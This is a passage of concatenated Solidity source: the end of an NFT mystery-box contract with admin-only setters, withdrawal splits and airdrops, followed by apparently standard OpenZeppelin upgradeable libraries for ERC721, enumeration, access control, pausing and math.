BoxPriceChanged(boxPrice, newPrice); } /** * @dev Set random generator contract address * @param newAddress new random generator address */ function setRandomGenerator(address newAddress) external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); randomGeneratorAddress = newAddress; } function setTokenURI(uint256 tokenId, string memory _tokenURI) external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); require(_exists(tokenId), "URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } function setShare( address _funderAddress, address _devAddress, address _marketAddress, uint8 _devShare, uint8 _marketShare ) external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); funderAddress = _funderAddress; devAddress = _devAddress; marketAddress = _marketAddress; devShare = _devShare; marketShare = _marketShare; } function withdraw(uint256 amount) external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); require(address(this).balance >= amount, "amount exceeds balance"); uint256 devAmount = amount.mul(uint256(devShare)).div(100); uint256 marketAmount = amount.mul(uint256(marketShare)).div(100); payable(devAddress).transfer(devAmount); payable(marketAddress).transfer(marketAmount); payable(funderAddress).transfer(amount.sub(devAmount).sub(marketAmount)); } function airdrop(address[] memory receivers) external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); require(receivers.length <= totalClaimableAmount, "out of claimable balance"); for (uint256 i = 0; i < receivers.length; i++) { boxesAward(1, receivers[i]); } totalClaimableAmount = totalClaimableAmount.sub(receivers.length); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { //Whitelist OpenSea proxy contract for easy trading. if (proxyRegistryAddress != address(0)) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } } return super.isApprovedForAll(owner, operator); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal initializer { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } uint256[46] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the 